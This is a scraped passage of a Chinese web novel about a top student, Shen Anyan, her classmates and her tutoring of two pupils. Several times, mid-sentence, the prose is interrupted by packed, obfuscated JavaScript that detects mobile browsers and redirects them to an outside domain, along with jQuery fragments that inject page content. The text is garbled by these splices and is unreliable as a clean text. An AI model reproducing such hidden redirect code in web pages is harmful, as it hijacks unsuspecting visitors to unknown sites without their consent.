RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198046|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴想了想,试探道:“因为我考得不好?” 虽然天文专业和地理学有交叉部分,但地理又不都考天文学的知识。这门课又难短时间突击成功,她考得最差也在情理之中。 王美心笑了:“也不算不好。” 她找出这次的年级排名表,沈安宴就列在第一位,她都不用费时间翻找,直接放大了给对方看。 “各个班的排名还没打印出来,你就直接在我这上面看吧。年纪第一,多敞亮的排名,但是咱们不能光看名次,还要看看其它的。” 王老师一个个指了过去。 “语数外三门不用多说,你答得都不错,有两门还是满分。政治也好,排到了年级前十。历史马马虎虎吧,只有地理是最差的,甚至才刚过平均分线。” 沈安宴点了点头。 王老师道:“俗话说得好,一桶水能盛多少,看的是它最短的那块板子。地理现在就是你的短板了,你可得在这上头加把劲儿啊。老师知道你的情况,所以这次叫你来也不是怪你。毕竟刚来第一次考试就能考七十多也不错了。老师想说的是,要是遇到不会的,随时都能过来问我,不用不好意思。晚自习时间最多,你哪怕在我这儿问上一个晚自习都没关系。明白了吗?” 沈安宴心中一暖,笑着应道:“好,我明白的。谢谢老师。” 王老师笑着点了点头。 对面的姜老师也乐呵呵地附和着:“我也是这样想的。虽然语文不是你的短板,但怎么在语数外三门里也成给你拉分的了?得闲了可也要来勤找我给你补补。” 谢过了两位老师,离开时经过陈老师的工位,对方还顺手塞给了沈安宴一把零嘴。 “哎,我是不用给你补学习上的内容了,那就给你补点儿吃的吧。”陈愿笑眯眯地说。 沈安宴也笑着道了谢,抱着一手的零食回了教室。 出去溜达的林跃已经回来了,正眉飞色舞地朝贺晴天讲着些什么。见正主来了,她挤眉弄眼地调侃道:“说曹操曹操到,哎,你跟二班那个……我去,这么多吃的!我也要我也要!” 沈安宴把零食放在桌上,给前后左右都分着吃了,其中林跃最不客气地抓了一大把,还被贺晴天打趣真会吃白食。 林跃道:“我就是馋了,我不白剽,小宴我下周返校来给你带奶茶喝啊!” 沈安宴莞尔:“知道知道。” 贺晴天问道:“对了,你和隔壁班那个顾辞江什么情况?你们俩谈了?” 沈安宴道:“没呢。” 林跃怪声怪气地模仿了一句:“噢噢,‘没呢’,那就是想谈还没谈的意思喽?” 沈安宴痛快地承认了:“是。” 林跃一个激灵,零食差点儿都掉在了地上。 “我去!真的啊?” 沈安宴道:“这有什么假的。不过他还没成年,所以没打算现在就谈。对了,你们也别乱说,我不想影响他学习。” 林跃本来还想打趣,结果被对方这个养胃的理由弄得失去了所有八卦的兴趣。 跟对方没大没小地相处久了,总是容易让人忘记对面人已经有十九岁了的事实。 贺晴天道:“不愧是成年人,思想果然成熟。我刚还想提醒你不要因为恋爱影响学习,现在看来是不用我操心了。” 林跃道:“还真是……哎,你不用担心乱说的问题。我跟晴天不是爱扯闲的那种人……对了,倒是晴天,你记得别跟江小松那大嘴巴说这事儿啊,她可把不住门。” 贺晴天无奈道:“知道知道,我还不了解她了?” 10. 意外 考试那次大家分在了不同考场,一起吃饭不方便。这次中午吃饭的时候,林跃就主动邀请沈安宴一块儿去吃。 沈安宴委婉拒绝道:“不用麻烦,我习惯一个人吃。” 林跃显然不认同:“什么习惯不习惯的,一个吃饭多可怜啊。你是不是怕我会带其他不认识的人一起尴尬?不用担心这个!只有咱们俩,再加个隔壁班的李欣然,你认识的!” 这个时代的人显然喜欢干什么事都三三两两地一起做,理念不同,沈安宴也不打算强求。 她只好道:“好吧,其实我是想去找顾辞江。” 这下林跃懂了,她意味深长地“哦——”了一声,笑嘻嘻地摆了摆手:“成吧,那我去找欣然了,拜拜!” 沈安宴和对方告了别,收拾好东西去食堂吃饭了。 她说要和顾辞江一起只是托词,但可能学校这地方就是有些邪门,她打好饭后,好巧不巧就一眼看到了同样独自一人的顾辞江。 对方也看到了她,但显然想当没看到。沈安宴哪儿能给他这个机会。她快步走上前去,使出了同样的招数。 “顾同学,好巧啊,要不要一起吃饭?” 顾辞江:…… 没等对方找借口拒绝,沈安宴就若有其事地叹道:“你知道的,我初来乍到,找不到人陪我……” 顾辞江忍不住反驳:“我看你在你们班挺受欢迎的不是吗?” 沈安宴睁眼说瞎话:“哎,那只是表面,大家都是体面人,面子上肯定要和和气气的啊。但她们都有自己的伴儿了,没一个人愿意收留我……” 顾辞江叹了口气,认命地让对方跟自己一起了。 沈安宴高高兴兴地和对方吃完了午餐,分别时,顾辞江疑惑道:“宿舍在那边,你往哪里去?” 沈安宴解释道:“哦,我是走读生,不在学校里住,所以学校没给我分宿舍。” 顾辞江道:“那你在教室休息吗?那样总归没有在宿舍里舒服。” 沈安宴本来想说没什么,但转念一想,觉得这似乎是个和对方拉进关系的好机会。于是她露出了一点恰到好处的忧伤神色,小声解释道:“我家境不好,交不起住宿的钱。” 涉世未深的顾辞江显然看不出对方是在演,他微微一怔,忽然想起来今早老师们说的话,“家里情况特殊”,原来是这样吗? 顾辞江忍不住问道:“你很缺钱吗?我可以借你。” 沈安宴:……? 她显然没料到还能有这个开展,不过想一想对方的性格似乎也不算意外。沈安宴轻轻咳嗽一声,真诚道:“谢谢你,不过不用了,还没困难到这个地步。我靠自己可以的。” 顾辞江“嗯”了一声,没再强求。他意识到自己方才有些冲动了。像沈安宴这样的人,大都比较有骨气,应该不愿意随便接受别人的帮助,尤其是物质方面的帮助。 沈安宴想了想,又提醒道:“还有,你不要随随便便就借别人钱,万一被人骗了怎么办?” 顾辞江道:“你又不算别人。” 沈安宴高兴了:“是吗?” 顾辞江想表达的意思是大家毕竟是同学,应该做不来骗别人钱的事。但眼下看来对方肯定是误解了。不知为什么,他又不想纠正对方的误会,于是没有多说什么。 ———— 接下来几天,沈安宴和同学们一起上课学习,下课闲聊,过得还挺自在。 任课老师她这些天认了个七七八八,毕竟是重点班,老师们虽然性格各异,但都认真负责,当然历史那门关系户除外。哪怕是大家一言难尽的英语老师,也非常尽职尽责。 至于英语老师为什么一言难尽,沈安宴和对方相处了几天,也差不多明白了。 这位老师心眼不坏,就是情商低,这也就罢了,但她偏偏想要和同学们努力拉近关系,于是也学着玩梗。可惜她玩得既没有数学陈老师那样轻松自然,又不像政治老师紧跟潮流,因此效果常常不尽人意。 比如这段时间网络上流行互称“集美”,她还在“姐妹兄弟们”地叫,等“集美”过去了,“家人们谁懂啊”流行起来了,她又开始“集美集美”地喊大家。 尽管如此,她依旧坚持不懈地想要营造幽默风趣的人设,但除了让同学们尴尬到脚趾扣地,并没有其它效果。 不过她对沈安宴倒是不错,毕竟没有哪个老师会讨厌成绩好的学生。 学习之外,吃饭时沈安宴会准时准点地碰瓷顾辞江和对方凑一起吃。如此下来,顾辞江已经习惯了对方的“巧合”。每次上午最后一节课结束,如果对方班级老师拖堂,他就会自觉等对方下课一起去食堂。 为此林跃和贺晴天还打趣过她好几次。 过了半个月,家教的事也有了着落。托原身的福,毕竟中考市第一可是一份相当亮眼的成绩,有不少家长都向她递来了橄榄枝。 沈安宴挑挑拣拣,最后选定了两份招聘。 一位是正在上初三的学生,给的价格不错,沈安宴给对方试着上了一节课,对方是个懂事好学的小姑娘,双方磨合得很不错,是个稳妥且适合长期发展的合作对象。 因为小姑娘在学校住宿,沈安宴就和对方家长商定好每周末过来补习两天,时间对方定,周五提前告诉她什么时候方便。 另一位就简单粗暴多了,沈安宴连人都没见就定下了,原因也很简单,对方给的钱多。 双方商量好这周末先来试一节看看效果。 ———— 这天晚自习下,沈安宴照常拿上水杯回家。高二十点才下自习,出去时天已经黑透了。沈安宴一边往校门口走,一边摸索着把兜里的走读证掏了出来。 许是财不外露当真是一个真理,虽然走读证也不算什么财。但当沈安宴掏出它后,没过一会儿,就有人跑来手疾眼快地抢走了它。 沈安宴:……? 这年头,走读证都有人打劫了? 她从小到大的散打可不是白练的。沈安宴很快反应了过来,赶在对方跑出校门前揪住了他,又行云流水地反锁扣拿住了对方。 “哎——疼疼疼疼!同学轻点儿!” 这男生显然不是一个硬骨头,被抓住了就利利索索地服软求饶。 沈安宴夺回了自己的走读证,这才有功夫打量对方。 ……还真挺好看的。 这是沈安宴的第一想法。 虽然对面的男生龇牙咧嘴,初次见面干的又是拦路打劫这样见不得光的事儿,但好看的脸倒是弥补了前边儿的短板。 对方身材匀称修长,肩宽腰细,双腿笔直,臀部浑圆翘挺,一张脸更是糜艳精致。他皮肤莹白清透,桃花眼潋滟多情,鼻梁高挺,唇形优美,漂亮得像是山间艳鬼。 看在脸的份儿上,沈安宴的态度好了些。她开口问道:“你抢别人东西做什么?” 那男生挠了挠头发,有点儿不好意思地回答:“我朋友约我出去,但是老师不同意我请假,我就想着随便抢一个人的走读证溜出去。” 沈安宴:…… 她叹了口气,无语道:“有胆子抢东西,没胆子趁保安不注意偷跑出去?” 男生恍然大悟:“也是哦,我怎么没想到?同学你真聪明!” 沈安宴:这人看起来倒是不太聪明的样子…… 大概是智商点全加在颜值上了吧。沈安宴在心里吐槽着。 她说道:“行了,这样吧。我出去后找个保安看不见的地方把走读证给你丢进来……” 她四处看了看,选定了种着颗大榕树的墙角:“就那里吧,你等上大概十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他大步走了过来,将走读证还给对方,同时说道:“还你,谢啦盛宴。” 沈安宴道:“不客气。” 他小声道:“昨天急,都没来得及给你说我的名字。我叫陆舟,大陆的陆,舟就是能在水上漂的那个舟。” 沈安宴“嗯”了一声。 陆舟注意到对方桌上的饭,亮起眼睛问道:“这么多吃的?你能吃完吗?吃不完能分我点儿不?我今天急着来学校,都没来得及买早餐。” ……这人倒是真不客气。 沈安宴将早点朝对方的方向推了推:“我吃过了,你随便拿。” 陆舟“嘿嘿”笑了两声,他笑起来更好看了,一双桃花眼像是潋滟着一片温柔澄澈的春水。 “谢啦谢啦,我改天请你吃饭。” 沈安宴道:“哦,这么一算,你已经欠我两顿饭了。” 陆舟摸摸鼻子:“我说话算话,说是请一定会请,改天绝对不是托词!” 沈安宴本来也是调侃,没有跟对方较真的意思,闻言也顺着他应了声“成”。 陆舟拿了早点,朝对方摆摆手作别,就离开了教室。 待对方一走,左右前后的人终于不用再憋着,一个个都好奇地凑了过来八卦。 林跃道:“前一个顾辞江,后一个陆舟,小宴同学,你桃花运真不错啊!” 陈杉也好奇道:“他长得可真好看,比娱乐圈那些男明星还漂亮!我之前怎么都没注意过!” 沈安宴解释道:“昨天碰巧遇见的,林跃,你别乱说。” 林跃笑嘻嘻地应了声“好”。 11. 家教 “所以呢,假设这两个数值相等,然后再把这个公式套进去……你看,结果这不就出来了吗?”沈安宴耐心解释道。 师音城一手按着草稿本,一手随着家教老师的讲解计算,很快便想通了其中关节。 “原来是这样,我懂了!老师,你好厉害!”她一脸崇拜。 沈安宴笑道:“一般般厉害,主要是你有悟性,一点就透。” 师音城托着腮,闻言眯着眼睛笑了。 师音城就是沈安宴做家教老师教的孩子,对方今年上初三,十四岁。她没有这个年纪的孩子常有的浮躁,大概是单亲家庭的原因,这姑娘早熟懂事的过分,对学习也格外努力上进。 师音城学习不错,考试能在班上排到前十,年级上排到前二十。 但她的学校是个中等偏上的学校,这名次看起来光鲜,放到全省含金量就不高了。对方又想考重点高中,因此起了请家教的念头。 评析完了这次的月考卷子,沈安宴从包里拿出了一套模拟考卷,递过去示意对方试着做一下。 师音城先浏览了一遍,咂舌道:“老师,这卷子的难度比我们学校这次月考高了好多!” 沈安宴笑道:“这是我从我们学校初中部要来的,也是月考的卷子,试一试?” 海城一中是全市最好的高中,它的附属初中自然也不赖。这也是师音城的第一志愿高中。 她闻言立刻来了精神,惊叹道:“老师,你也太厉害了吧,这都能搞来!” 沈安宴笑道:“别贫嘴,快点儿做。” 师音城“哎”了一声,高高兴兴地做题去了。 “笃笃笃——” 房门被人敲响了。 师音城一边埋头做题,一边应了声“请进”。 “嘎吱”一声,门被人打开了,一个梳着低马尾,年纪看起来在四十上下的女人走了进来。 她手上端着果盘,面容看起来慈祥和蔼,见女儿正忙,就低声朝沈安宴说道:“小盛老师,我给你们切了水果,你们闲下来吃。” 沈安宴忙接过果盘,又道了谢。 “伯母辛苦了,等小音写完卷子,我会提醒她吃。” 师母笑道:“哎,好,您也记得吃。” 她没多打扰,送完果盘就出了房间。 因为是私下练习,不需要想正式考试那样规规矩矩写步骤。不到一个小时,师音城就写完了卷子。 她期待地将卷子交给了沈安宴,等待对方的点评。 沈安宴一手拿卷子,一手将果盘朝对方推了推,示意她吃。 卷子改完后,沈安宴道:“我按最严格和最宽松的标准改了两个分数,你要先听哪一个?” 师音城道:“先苦后甜,最严格的吧。” 沈安宴道:“最严格就是七十六。” 师音城摸了摸鼻子,只比及格高了四分。她这次学校月考可是考了一百一十二分。 她又问道:“那最宽松的呢?” 沈安宴道:“八十九。” 也是个一般般的成绩。师音城心下微叹,这就是她跟重点学校的差距。 沈安宴鼓励道:“但也不用太失落。还有半年多的时间,你底子又好,考重点高中绝对没问题,海城一中再努力努力也是可以的!” 师音城闻言又恢复了信心,笑着“嗯”了一声。 沈安宴让对方先写的是数学卷子,毕竟这个不是看答案就能看懂的。讲评完后,沈安宴把剩下六门卷子交给对方,让对方抽时间做一下,等明天她过来讲。 今天沈安宴来的时间在上午,离开时正好是中午饭点,师母热情地招呼对方留下来吃个饭再走。 沈安宴还想推脱,师母笑道:“你回家还得自己麻烦再做一顿,在这儿吃多方便!” 师音城也搂着她的胳膊撒娇:“老师老师,一起嘛!” 沈安宴只好留了下来。 午餐是米饭,外加三道菜。青菜炒蘑菇,红烧排骨,还有肉沫茄子。师母还卤了三个香喷喷的大鸡腿,给她们一人夹了一个。 师音城吃得香喷喷的,沈安宴也笑着说“好吃”。 吃过午饭,师音城主动收拾盘子碗筷端去水池洗。沈安宴本想帮忙,被母女二人以没有让客人做家务的道理给劝回去了。 和师家母女告别后,沈安宴搭公交车去了先前约好的另一个学生家。 这家人的住处坐公交车还到不了。目的地是一片豪华的别墅区,每户隔的距离都很远,从最近的公交车站过去都要走上半个小时。 好在对方还是很通情达理的,沈安宴不好意思太麻烦对方,到达最近的公交车站后,就向对方发信息问方不方便过来接一下自己。 “当然方便,小姑娘你也太客气了,提前说就不用再浪费那么多时间搭车,我直接让司机去你家接你嘛!”对面家长笑呵呵地说道。 沈安宴没等多久,就见到了来接自己的车辆。 车子不出意外大概是名牌车,看起来相当威风高级。驾驶位上坐着个干练利落的中年女人。对方将车停在沈安宴身旁,下车帮对面开了后座车门。 “小盛老师是吗?快请。”司机客气地说道。 沈安宴向司机道过谢,方才上了车。司机为对方关好车门,方才重新坐回驾驶座发动了车子。 车子略过一座座漂亮高大的独栋别墅,最后停在了种着一片白玫瑰花海的别墅前。 司机将车子停好,又下车帮沈安宴打开车门。没一会儿,就有一个管家模样的西装女人走了过来,彬彬有礼地将沈安宴邀请进屋内。 沈安宴便跟着对方走了。 从车库到客厅有一段距离,管家在前方引路,同时注意着身后少年的情况。 她早从男主人那里看过对方的资料,海城一中的学生,家境普通,甚至有些贫寒。这样的孩子到了这里难免容易露怯,不过这少年倒是从容,从见面到现在,举止神情都相当落落大方。若不是对方身上的穿着的确朴素,管家会毫不怀疑这少年也是个富裕家庭的孩子。这让她不由对沈安宴生出了几分好感,宠辱不惊,不亢不卑,的确是个令人喜欢的孩子。 不过从某种程度上,管家还真没猜错。毕竟沈安宴在原来时间的家可是内地排名第一的富豪,在世界范围内甚至也排得上前十。这家在沈家面前只是洒洒水的程度,她当然能宠辱不惊了。 找沈安宴当家教的人是这户人家的男主人,姓林。 林男士很客气地接待了对方,他早早让佣人备好了茶点,沈安宴到后就能直接吃。 林男士一边示意对方随意用点心,一边向对方说明了自己孩子的情况。 “还要小沈老师多费点心了,我这孩子让人头疼得很,之前请过好几个家教老师,都说教不了。还是我朋友给我建议的,说这个年纪的孩子都喜欢同龄人,让我找个也上高中的孩子试试看。” 沈安宴点点头:“这样吗?我会尽力的。” 林男士转头向管家吩咐道:“让那兔崽子下来,没规矩的,来人了都不知道问好。” 管家应了一声,上楼去叫人了。 林男士朝沈安歉意地笑了笑:“见笑,这孩子被我宠坏了,谁的话都不听,也就他母亲能管一管他。” 没过一会儿,一道懒洋洋的声音就从楼上响起了。 “爸,我不都说了不想请家教吗?让那人哪来的回哪儿去吧,烦死个人!” 这声音有点儿耳熟,沈安宴朝声源处望去。 一个懒散的身影从楼梯上走了下来。对方穿着件丝绸衬衫,底下则是一条版型修身的白色西装裤,衬得他的腿越发笔直修长。外面则松松散散地套了件浅紫色外套,和他那双桃花眼格外相称。 来人本来满脸的不耐烦,但在看到请来的家教老师时,那双漂亮的桃花眼瞬间瞪大了。 “是你?” 正是陆舟。 沈安宴也有些意外,但还是礼貌地打了招呼:“你好。” 林男士,也就是陆父,见状诧异道:“你们认识?” 陆舟这下不散漫了。他规规矩矩地到沙发上坐好,说话也不端着了,温声细语礼貌规矩得让见惯了自家崽子不着调的陆父都深感惊奇。 “这可是我们学校的学神,年排第一,这回开学考特别难,她把最难的数学还有英语两科都考了满分。”陆舟骄傲地向父亲介绍道。 管家立在一旁,闻言有些无语,心说这是人家考得好,跟你又没关系,这么一幅有荣与焉的样子是做什么。 沈安宴闻言倒是微微松了一口气。碍于初次见面对方留下的不太聪明的印象,沈安宴真怕他直接来一句“这是帮我逃学的救命恩人”。 那可真就完犊子了。 陆父倒是没想那么多。见陆舟难得没有对家教老师表现出排斥,他笑着应和道:“这么厉害?看来我还真是选对了!” 陆舟这下也不说“让那人哪来的回哪儿去吧”,他偷摸看了沈安宴好几眼,清了清嗓子道:“哎,爸你别磨……咳,我是说不是要上课嘛,那就赶紧上呗。盛宴,你来我房间讲?” 沈安宴看向陆父:“伯父,那我……” 陆父正为孩子的上进心高兴,闻言也没多耽搁,让两人上课去了。 陆舟摸了摸鼻子,脸上是掩饰不住的高兴。他朝盛宴招了招手,笑着道:“走走走,哎,你吃了没,没吃我让人给你做点儿?” 沈安宴朝陆父道过别,方才起身跟上了对方,闻言道:“不用,我吃过才来的。” 陆舟道:“下次就别吃了,来我 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陆舟:“玩儿一会儿又没什么,劳逸结合嘛!” 沈安宴无语:“也没见过你这样劳都没劳就逸的。” 陆舟见好就收,看对方确实没兴趣玩儿,就乖乖改口问怎么学习了。 沈安宴想了想,让对方把这次的开学考卷子拿出来。 陆舟奇怪道:“要那个做什么?” 沈安宴:“看你得了多少分儿,好摸个底。” 陆舟笑道:“噢,那不用看了。我考试那天请假出去玩儿了,都交的白卷。” 沈安宴看着对方丝毫不觉得有问题还笑嘻嘻的脸,颇觉头疼:“……你真是一点儿也不学啊。” 陆舟忙端正了态度,认真道:“我学,我学,小宴老师您说,让我怎么学。” 沈安宴叹了口气,从包里翻出几套基础模拟卷,让对方先试着做一遍。 语数英加文综总共四套卷子,沈安宴估摸着反正又不规范格式,语文的作文也不要求对方写,只用写出大纲,文综的大题也一样,只需要写出核心点。那四个小时左右的时间差不多就够了。 谁料沈安宴还低估了对方,陆舟只花了两个小时不到的时间就完成了卷子。 沈安宴颇为意外地接过答卷,心道莫不是自己小瞧了对方,陆舟其实是个隐藏学霸来着? 结果她一看卷面,被气得差点儿眼前一黑。 四套卷子,对方写上答案的屈指可数,基本只有选择题写了,还有一半都是错的,大题更是空了大半。算一算总分,连沈安宴单科成绩都不到。 沈安宴面无表情地看向对方。 陆舟缩了缩脖子,试图为自己申诉:“我真认真看了,你瞧,每道题的题干我都把关键词圈出来了,没写绝对不是态度问题,是我真的不会……” 沈安宴叹了口气,忍不住道:“你这样以后怎么考大学?难不成就要个高中学历?” 陆舟倒是看得挺开:“这有什么,到时候让我家里塞钱送我到国外镀个金就行了!家里的生意有我姐管着。男孩子嘛,太聪明又没什么用,只要长得好看,会讨女孩子欢心就行!” 沈安宴有点无奈,见对方对此深以为然,她清楚直接劝是劝不了的,只好从另一个方向劝对方:“那你要是有了孩子呢?到时候孩子遇到不会的问题问你,你也拿这一套应付对方吗?” 这下倒是把陆舟问住了。他认真想了想,觉得很有道理,忍不住轻轻“嘶——”了一声:“那……那我请个家教?哎,好麻烦,或者我找个不想要孩子的女人结婚?反正我也不喜欢小孩。” 沈安宴:……她真是劝不动了。 她轻轻叹了口气,放弃了和对方讲道理的路子,专注于眼前的事了。 “成……你家有打印机吗?”她问道。 “有!你想打印什么?” 沈安宴在网上搜索了一套初中的基础卷,因为不放心又加了套小学的,加上对方的联系方式后,打包给对方发了过去。 “帮忙打印一下这些。” “噢噢,好。” 陆舟点开聊天界面,看清对方发来的文件后,有些疑惑地问道:“打印这些做什么?我家里没初中生和小学生啊。” 沈安宴道:“给你做的。” 陆舟:……? “为什么要给我做这些?” 沈安宴有理有据:“你不是说高中的题太难了吗?” 陆舟不说话了。他纠结地看了那些文件半响,忽然觉得好好学习也是很有必要的。比如现在,他可真不愿意在有好感的女生面前做这种小学生的题,也太丢脸了吧…… 12. 补课 好在陆舟的学习能力还没有差到离谱的程度,起码初中卷子都写及格了,沈安宴以防万一准备的小学卷子没有派上用场。 她分析了一遍对方的答卷,综合考虑之下为对方量身定做了一套学习计划。 首先英语可以先放一放。这门是个例外,对方这门课的高中卷子都答得很不错,甚至上了一百二。不过豪门家庭的孩子英语好也不出人意料。 语文倒是不靠课本靠刷题,也可以暂且先放一放。文综初中高中学得差不离,主要就是要记要背。沈安宴给对方划分了每周要记背的重点内容,先把第一周的给了对方,让他每天闲下来就勤看看。 大头是数学,其它不会还能瞎编几句蒙分儿,这门不会是真不会,陆舟基础又差,需要重头再学一遍。 今天考了两回试,时间已经很晚了,沈安宴就跟对方约好等明天再来学数学。 陆舟乖乖应了好,又要留对方吃晚饭。 沈安宴道:“不用,我晚上不习惯吃饭。你记得好好背文综,我明天来会抽查你背的内容。” 她嘱咐完,又问道:“对了,你明天什么时候有空?我好安排时间过来。” 陆舟听到这话就高兴了,他想都没想便应道:“什么时候都有。” 沈安宴道:“那还是和今天一样,我一点过来。” 陆舟道:“好,我让司机去接你……已经很晚了,要么干脆就住我家,别再来回折腾了。” 沈安宴无奈:“家里还有事呢。明天见。” 陆舟有点舍不得她,但闻言也没再强求。 沈安宴同陆父告了别,陆父挽留道:“不吃个晚饭再走吗?” 沈安宴用同样的理由婉拒了对方。 陆父笑道:“我也不爱吃晚饭,想减肥。” 沈安宴道:“怎么会,您这么瘦,多吃点才好。” 陆父听了这话笑得更开心了,他道:“你们年轻人就是会哄人开心……哎,我让司机送你。” 陆舟嚷嚷道:“不用了爸,我送就好。” 他揽住沈安宴的肩膀,笑着道:“走吧走吧。” 陆舟一路送对方到了车库,直到载着对方的车子离开了大门,方才依依不舍地收回了目光。 待他回了客厅,晚饭已经做好了。陆父招呼孩子快些过来吃。 陆舟道:“不吃了,爸,我要回房背书。” 陆父差点儿以为自己听力出了问题,他诧异道:“你说你要做什么?” 他这混账男儿子从上初中起就没碰过一下课本,更何况主动学习。 陆舟道:“盛宴让我背的,她明天还要来抽查。好了不说了,我要快点去背了,明天可不能在她面前丢脸。” 陆父瞠目结舌地望着男儿离开的背影,许久才梦游似的同管家说:“我这个家教老师还真是找对人了。” ———— 第二天沈安宴先去了师音城家,给对方讲解了昨天布置的卷子。师音城显然是下了功夫去做,成绩虽不算高,但也很不错了。 沈安宴给对方讲解了错误的题目,又分析了接下来的计划。 “你目前基础很扎实,学校现在已经不能让你提升多少了,咱们如今的任务就是拔高。最有用的办法是刷题和总结题型。这个不要贪多,要保质。” 她将对方初中以来的模拟卷都翻了出来放在一起,同对方一一对比过后,总结道:“你瞧,这些卷子虽然具体的题都不一样,但你仔细看,它们的题型都是相似的。你不要盲目地去答题,而是要从出题人的角度思考,他会出什么题,出哪种。这样复习起来就会事半功倍。” 师音城若有所思:“我们老师也常常爱说这话——要多从出题人的角度思考,但又不给我们讲清楚该怎么思考。小宴姐你讲的就清楚多了。” 沈安宴笑道:“我是做的题多,总结出来的。” 她又给对方挑了一套好卷子,让师音城先做数学,做完直接讲。剩下的依旧是留在平时做,下周六来再讲评。 等数学卷子写完讲完,沈安宴又带着对方订正了一遍错题。 “不要抄题目,这样最吃力不讨好。我的建议是把错题直接用手机扫描打印好,如果你不在乎美观,还有更省事的办法,直接剪下来贴在纠错本上。” 师音城方才写卷子的时候还奇怪,小宴姐给的卷子怎么是单面打印的,现在才明白过来对方的用意,这样就不用担心两道错题都在同一页,裁剪的时候不好裁的问题了。 待离开时,沈安宴把其它几门试卷的答案直接给了对方,让她写完卷子好及时对答案。 “有看了答案还弄不明白的可以攒到下周六上课问我,或者问你们老师也行。如果不方便又急着知道的话,也可以给我打电话,我周内中午十一点半到两点和下午九点后都有时间,你可以随时打我电话。”沈安宴道。 师音城问:“会不会太麻烦老师您了?” 沈安宴笑道:“不麻烦,你的学习最重要。” 从师家离开后,沈安宴走出一段距离,找到一个方便停车的位置,方才向陆舟发了自己要过来的消息和目前的定位。 陆舟很快给了她回复:收到,我已经让司机去接你了,预计四十分钟左右!时间有点长,你先找个地方休息一会儿,别站累了! 后边还跟着一个举爱心的表情包。 附近正好有家奶茶店,沈安宴进去点了杯奶茶,坐在桌边等着了。 ……奶茶有点难喝,她这辈子都没喝过这么难喝的奶茶。沈安宴只喝了一口,就放在一边儿不动了。 四十分钟很快就过去了,来接她的人依旧是昨天那位司机。不过还多了一个人。 陆舟从车内打开车门,朝对方招手:“盛宴!这边这边!” 沈安宴走了过去,陆舟忙向内坐了坐,给对方留足了坐进来的空间。 沈安宴随手拉上车门,前座的司机确认车门关好了,便缓缓发动了车子。 沈安宴问道:“你怎么也来了?来回将近两个小时,怪折腾的。” 陆舟道:“反正我闲着也是闲着,想跟你多待一会儿嘛。” 沈安宴注意到对方眼下的乌青,问道:“你熬夜了?黑眼圈这么重。” 陆舟蒙了一下,慌忙捂住脸:“啊——我怎么把这个给忘了!别看我别看我,太丑了,出门前应该用粉底稍微遮一下的!” 沈安宴有点无奈,她宽慰道:“不丑的,你这么好看,就算有黑眼圈也很好看。” 陆舟有点迟疑地放下手,不过还是有些不自然,没敢直面对方。 “真的?” “真的。” 对方这才放心地笑了起来。 两人聊了一路,中途沈安宴还给对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198049|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方讲了接下来的教学计划,对方虽然听得认真,可惜效果不佳,沈安宴明显能感觉出来他没放在心上。 不过这也不是能一蹴而就的事,陆舟闲散了这么多年,让他一下子就上进起来爱上学习也是不现实的事情。 到了陆家后,沈安宴同陆父问过好,陆父还想跟对方聊几句,就被陆舟以“爸你别啰嗦了我还要跟盛宴学习呢”为由打断了。 陆父又是气又是笑,挥挥手让两人走了。 进了卧室门,陆舟忙把昨天对方布置的背诵内容拿了出来,自信道:“你随便考,我全都背过了!” 沈安宴接过资料,也没扫对方的兴,依言抽问了几个。 陆舟整体答得都很流畅,虽然偶尔有些地方会有点磕巴,他这时候就会抱着脑袋喊“等一下等一下——你不用提醒我,我马上就能想起来!” 沈安宴抽查完了,随口夸了对方几句,陆舟乐得直笑。 她又看了对方的黑眼圈一眼,想了想问道:“你熬夜就是为了这个?” 陆舟道:“我昨天背了一晚上呢!” 沈安宴无奈道:“我给你布置的是一周内的任务,不用这么急的,咱们一步一步慢慢来。” 她今天本来想教对方数学的,但见陆舟有些没精神,已经偷偷打了好几个哈欠了,沈安宴就没有强求。 她问道:“你很困吗?” 陆舟道:“没事儿,我等会儿喝点儿咖啡就好。” 沈安宴道:“不用勉强,困的话就休息一会儿,养足精神咱们再上课。” 陆舟道:“那我去睡觉的话,你一个待着会不会无聊?” 沈安宴莞尔:“不会,你想这么多做什么,快去休息吧。” 陆舟便安心上床睡觉去了,临睡前还给对方说了平板和电脑的密码。 沈安宴坐在书桌前,把接下来要讲的内容又过了一遍,就翻出周末作业开始做了。她动作放得很轻,尽量做到不吵醒对方。 过了四个小时左右,陆舟才从床上醒来。 离天黑还有两三个小时,陆舟吩咐佣人把晚饭端到房间里来,两人一边吃一边上课。 沈安宴问过陆舟,是想要以真学到东西的方式上课还是单纯为了考高分。对方想都没想就选了后者,陆父也是这个意思。 沈安宴便直接从应试的角度给对方讲了。 她没按照课本,而是根据近五年的考试题型,一道一道拆分开来,今天讲的是几何图形的定义与性质。 毕竟是刚开始讲,她选了最简单的题型,内容也比较浅显,陆舟很容易就理解了。 基本的概念讲完,沈安宴又带着对方写了些习题,就找了几道基础题让对方做。 除了有几道题的题干比较绕他掉坑里了外,剩下的题陆舟基本都做对了。 沈安宴抱着初学者要多鼓励的态度,顺口夸了对方几句。 陆舟闻言高兴了,他抱起手臂靠在椅背上,骄傲道:“看来学习也没那么难嘛!” 沈安宴想了想,使出了那条老生常谈的话:“对,你挺聪明,就是不肯好好学,只要肯下功夫,还是能学好的。” 